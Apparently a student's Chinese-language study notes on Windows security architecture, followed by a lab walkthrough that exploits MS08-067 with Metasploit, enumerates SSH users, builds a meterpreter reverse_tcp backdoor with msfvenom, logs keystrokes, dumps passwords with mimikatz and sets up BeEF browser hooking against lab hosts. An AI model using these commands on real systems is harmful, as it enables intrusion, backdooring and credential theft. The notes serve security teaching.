1.教材学习内容总结
Windows操作系统基本框架
如上图所示,Windows操作系统分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。采用宏内核(monolithic)模式进行架构。内核基本模块分为:Windows执行体 、Windows内核体 、设备驱动程序 、硬件抽象层 、Windows窗口与图形界面内核实现代码 、系统支持进程 、 环境子系统服务进程 、服务进程 、用户应用条件 、核心子系统DLL 。
Windows将进程视作可执行程序运行时刻的容器,而线程是指令执行的具体载体。
Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分。
Windows早期使用FAT文件分配表格式来管理文件系统,现在使用NTFS文件系统,较之前更加安全,具有更高的性能、可靠性和资源利用率。Windows可执行文件采用PE格式。
Windows系统注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在Windows系统配置和控制方面承担着关键角色。可通过自带的 regedit.exe 注册表查找编辑工具或其他第三方工具进行访问与修改,可使用 RegMon 等工具进行监控。
Windows的网络组件模块根据OSI网络模型可分为:
(1)物理层 各种网卡硬件的设备驱动程序;
(2)链路层 NDIS库及miniport驱动程序;
(3)网络层与传输层 TDI传输层,实现了TCP/IP等协议栈;
(4)会话层与表示层 网络API DLL 及 TDI 客户端;
(5)应用层 网络应用程序与服务进程。
Windows操作系统的安全体系结构
Windows操作系统是基于引用监控器模型来实现基本的对象安全模型。最为核心的是位于内核中的SRM(Security Reference Monitor)安全引用监控器及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有的资源对象的访问控制机制,以及对访问的安全审计机制。
Windows身份认证机制
Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机。
Windows为每个用户和计算机设置账户(accounts)进行管理,作为这些安全主题运行程序的执行环境,账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。用户组是为了简化用户管理而引入的用户账户容器,通过将用户账户添加入特定的用户组,使得该用户拥有用户组配置的全部权限,有效地使用用户组,科室的系统管理员对权限控制的配置工作量大大减少。
Windows用户账户的口令字经加密被保存于SAM或活动目录AD中。在Windows运行期间,内核对SAM文件加了一个持久性的文件锁,故即使是Administrator账户,通过正常路径也无法获取,只有LocalSystem账户权限才可以读取,但现在有许多黑客工具也可以在内存中直接dump出SAM的内容。
Windows支持本地身份认证和网络身份认证两种方式。Winlogin进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程。
Windows授权与访问控制机制
Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌。Windows对于系统中所有需保护的资源都抽象成对象。
Windows安全审计机制
系统审计策略在本地安全策略中由系统管理员来定义,来确定系统对哪些事件进行记录。
Windows的其他安全机制
以上的身份认证、授权与访问控制及安全审计是三个基本安全功能特性,其他的还包括Windows安全中心、IPsec加密与验证机制等。
Windows系统的安全漏洞生命周期
主要分为漏洞的发现、利用与修补过程。在安全漏洞当中,对攻击者最具价值的是远程 渗透攻击可利用、后果为远程执行代码的高危型漏洞,或本地渗透攻击可利用、后果为本地特权提升的高危型漏洞,这二者相结合可以造成严重的安全问题。各大厂商在针对安全漏洞,也会作出相应的补丁修复。有许多安全漏洞公开披露信息库,如:CVE、NVD、SecurityFocus、OSVDB等以供查询参考。这对一个特定主机,典型渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试。典型工具是 Metasploit工具,在后面实践当中会详细介绍。
Windows远程口令猜测与破解攻击
Windows通过基于服务器消息块SMB协议承载的文件与打印机共享服务来为网络用户提供远程访问文件系统和打印机的支持,因而它也就成为攻击者实施Windows远程口令字猜测的传统攻击渠道。还有一种实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。Windows的在不同版本在进行网络身份认证时,使用了LanMan、NTLM和Kerberos三种认证协议。
这对这些攻击,最根本的防御措施还是使用高安全强度口令,尽量关闭不必要的易受远程口令猜测攻击网络服务,配置主机防火墙来限制对端口服务,利用网络防火墙限制这些服务的访问,禁用过时且存在本质缺陷的LanMan与NTLM,仅使用经过安全加固NTLMv2与Kerberos认证协议,对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略及设定账户锁定阈值。
Windows网络服务远程渗透攻击
主要针对Windows系统默认开放的诸如135(TCP)、137(UDP)等端口进行渗透,针对NetBios网络服务、SMB网络服务、MSRPC网络服务进行攻击,还有针对微软网络服务及第三方网络服务进行远程攻击。防范措施包括:从软件设计根源上尽可能减少漏洞出现,管理员尽可能快的更新与应用软件安全补丁,在“零日”漏洞时间管理员应作出相应的防范,利用服务厂商及社区中的安全核对清单对服务进行配置并利用一些安全增强插件来加固所部署的网络服务,通过漏洞扫描软件来标识网络中已经存在的安全漏洞并及时修补,启用入侵检测机制,建立有效的事件应急相应计划。
Window本地安全攻防技术
利用之前的技术获得Windows系统的访问权后,接下来的攻击主要包括本地特权提升、敏感信息窃取、消踪灭迹、远程控制与后门程序。提权主要利用DLL注入和破解本地程序安全漏洞实现,工具有GetAdmin及Metasploit。敏感信息获取主要包括系统口令字密文提取、系统口令字破解及用户敏感数据窃取。消踪灭迹主要包括关闭审计功能和清理事件日志。远程控制与后门程序可通过各种现成的黑客工具利用命令行或是图形化界面实现。可针对各个不同的攻击手段采取相应的防范措施。
利用Metasploit工具对Windows进行远程渗透攻击,测试漏洞为:MS08-067
Metasploit工具采用开发框架和模块组件的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组件的开发与测试提供平台。这里选用Kali Rolling为攻击机(IP 192.168.37.130),Windows xp sp1 为靶机(IP 192.168.37.170)。
MS08-067漏洞全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,可在中国国家信息安全漏洞库当中找到——CVE-2008-4250,也可在CVE官网——CVE-2008-4250找到相关信息。如果用户在受影响的系统上收到特制的 RPC(远程过程调用)请求,则该漏洞可能允许远程执行代码。
首先可使用nmap工具对靶机进行针对性探测:
nmap -sS -sV -O --script=smb-check-vulns.nse -n 192.168.37.170
这里使用脚本对smb协议漏洞进行扫描。在rolling版本的Kali当中该脚本已经移除,所以使用另一台版本为Kali 1.0.8的主机对其进行扫描结果如下:
可以看到,靶机当中确实存在MS08-067的漏洞。接下来就使用Metasploit工具对其进行攻击测试。
在msf当中使用 search命令搜索关于该漏洞的工具:
看到这里有一个针对于该漏洞的渗透攻击工具模块,使用命令 use 使用该模块:
利用命令 show options发现还需设置目标地址,设置如下:
然后选择 windows/shell_bind_tcp 载荷工具加载,命令为:
set payload windows/shell_bind_tcp
最后,输入命令 exploit开始执行:
可以看到,获取shell成功,接着可以在这个shell当中使用一些命令获取更多的信息:
2. 视频学习
1 Metasploit工具的使用
我使用的Kali版本是 kali rolling ,在使用Metasploit工具之前需要打开 postgresql数据库服务和 metasploit 服务,但是出现了以下错误:
最后发现是因为这个版本已经没有metasploit服务了,需要利用以下方法打开带数据库支持的MSF服务:
1、启动postgresql数据库:/etc/init.d/postgresql start 或者 service postgresql start;
2、初始化MSF数据库:msfdb init;
3、运行msfconsole:msfconsole;
4、在msf中可以查看数据库连接状态:db_status。
上述操作完成后,就可以通过命令 msfconsole 进入msf了:
在Kail当中msf的路径为:/usr/share/metasploit-framework:
至此准备工作已经完成。
下面就以 SSH用户名枚举攻击 对metasploit工具进行测试,首先靶机的IP地址是 192.168.37.220,然后通过之前学过的 nmap 对靶机所开放的端口服务版本进行探测:
nmap -sV 192.168.37.220
由此,可以看到靶机启用了ssh服务,接着就在已打开的msf中使用命令 search ssh,找寻msf所提供的关于ssh服务的工具:
这里选择上图标记出的工具,进行ssh用户名枚举,接着利用命令 use使用该工具:
再通过命令 sjow options查看相应参数:
可以看到除默认设定外需要设置目标地址,其实也需要用户名与密码的枚举字典,为方便起见,这里直接指定用户名,密码使用一个字典:
最终设置为:
使用命令 exploit 开始进行枚举:
可以看到,枚举成功。
2 Meterpreter工具的使用
目的是利用meterpreter工具生成后门,目标靶机采用Windows xp系统。首先在kali上建立一个监听的任务。需要使用msf当中的 exploit/multi/handler工具:
这里设定kali的IP地址作为目标地址,监听端口设定为2333:
至此kali端的监听准备工作就完成了。下一步使用以下命令生成一个后门程序:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2333 | msfencode -t exe -c 5 > /root/door.exe
但是这里出现了以下问题:
经过上网查找资料,发现原因还是kali的版本问题,该版本当中的 msfpayload 和 msfencode 已经集成到 msfvenom 中,所以需要使用 msfvenom 工具进行后门的生成,命令为:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2333 -i 5 -f exe > /root/door.exe
可以看到后门程序已成功生成。下一步将该程序移入xp系统当中:
然后在kali的msf当中执行 exploit开始进行监听:
在xp当中运行后门程序,则可以看到:
监听端成功捕获反馈信息,下面就可以使用各种命令进行信息获取了。
通过 keyscan 进行键盘监听:
meterpreter还提供了许多扩展工具:
例如使用 load mimikatz 进行目标机密码明文的抓取:
可以看到抓取密码明文成功,只不过我的靶机里没有设定密码。
3 beef工具的使用
该工具是专注于浏览器端的渗透测试工具,直接使用命令 beef-xss即可:
打开浏览器,会自动跳转至beef登录页面:
使用默认用户名beef和密码beef即可进入主界面,输入网址 http://127.0.0.1:3000//demod/basic.html,可以进入一个测试页面:
这样在主界面左端就可以看到一个在线主机:
选取简单的工具就可以使目标主机,即测试页面弹窗:
还可以设定主机为代理:
信息发送后,可通过History选项看到,待传输成功后,点击相应的信息,即可显示详细的传输过程:
在beef当中,默认是不加载Metasploit的,所以需要对其进行配置:
修改 /usr/share/beef-xss/config.yaml 和 /usr/share/beef-xss/extensions/metasploit/config.yaml:
(第一个配置文件)
(第二个配置文件)
然后打开msfconsole,在msf当中输入:
load msgrpc ServerHost=192.168.37.130 Pass=abc123
然后在目录 /usr/share/beef-xss 下,运行 ./beef -x对beef工具进行更新:
更新完成后,再次打开beef主界面,查看模块如下:
可看到metasploit已经载入成功。